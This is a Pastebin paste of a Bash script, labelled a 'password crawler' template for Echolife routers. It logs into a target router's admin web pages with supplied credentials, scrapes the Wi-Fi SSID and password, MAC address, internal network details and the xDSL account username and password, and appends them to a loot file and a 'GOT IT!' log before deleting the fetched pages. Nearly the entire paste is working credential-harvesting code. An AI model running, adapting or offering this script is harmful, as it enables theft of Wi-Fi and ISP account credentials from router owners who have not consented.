sxiii

Routers, modems username and password crawler [Template]

Nov 8th, 2011
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.73 KB | None | 0 0
  1. #!/bin/bash
  2. # Routers, modems username and password crawler [Template] for Echolife's routers
  3.  
  4. wget -q -t 1 -T 5 http://$1/home_wlan.html --user=$3 --password=$4
  5. wget -q -t 1 -T 5 http://$1/rpServiceStatus.html --user=$3 --password=$4
  6. wget -q -t 1 -T 5 http://$1/WAN.html --user=$3 --password=$4
  7.  
  8. mac=`cat rpServiceStatus.html | grep " Status" -A 4 -m 1 | awk -F" " '{ print $1 }' | tail -1`
  9. wlan_ssid=`cat home_wlan.html | grep ESSID -m 1 | awk '{ print $6 }' | awk -F"\"" '{ print $2 }'`
  10. wlan_pass=`cat home_wlan.html | grep PASSWORD -m 1 | awk '{ print $6 }' | awk -F"\"" '{ print $2 }'`
  11. internal_ip=`cat rpServiceStatus.html | grep " Status" -A 4 -m 1 | awk -F" " '{ print $1 }' | head -3 | tail -1`
  12. internal_netmask=`cat rpServiceStatus.html | grep " Status" -A 4 -m 1 | awk -F" " '{ print $1 }' | head -4 | tail -1`
  13. dsl_username=`cat WAN.html | grep wan_UserName | awk -F"\"" '{ print $14 }'`
  14. dsl_password=`cat WAN.html | grep wan_Password | awk -F"\"" '{ print $14 }'`
  15.  
  16. echo "================================================" >> $2
  17. echo "Target external IP: $1" >> $2
  18. echo "Device type: $0" >> $2
  19. echo "Device MAC address: $mac" >> $2
  20. echo "Wireless SSID: $wlan_ssid" >> $2
  21. echo "Wireless password: $wlan_pass" >> $2
  22. echo "Internal IP: $internal_ip" >> $2
  23. echo "Internal netmask: $internal_netmask" >> $2
  24. echo "xDSL username: $dsl_username" >> $2
  25. echo "xDSL password: $dsl_password" >> $2
  26. echo "================================================" >> $2
  27.  
  28. echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password. Saving..."
  29. echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password." >> smalllog.txt
  30.  
  31. rm home_wlan.html
  32. rm rpServiceStatus.html
  33. rm WAN.html
Advertisement
Add Comment
Please, Sign In to add comment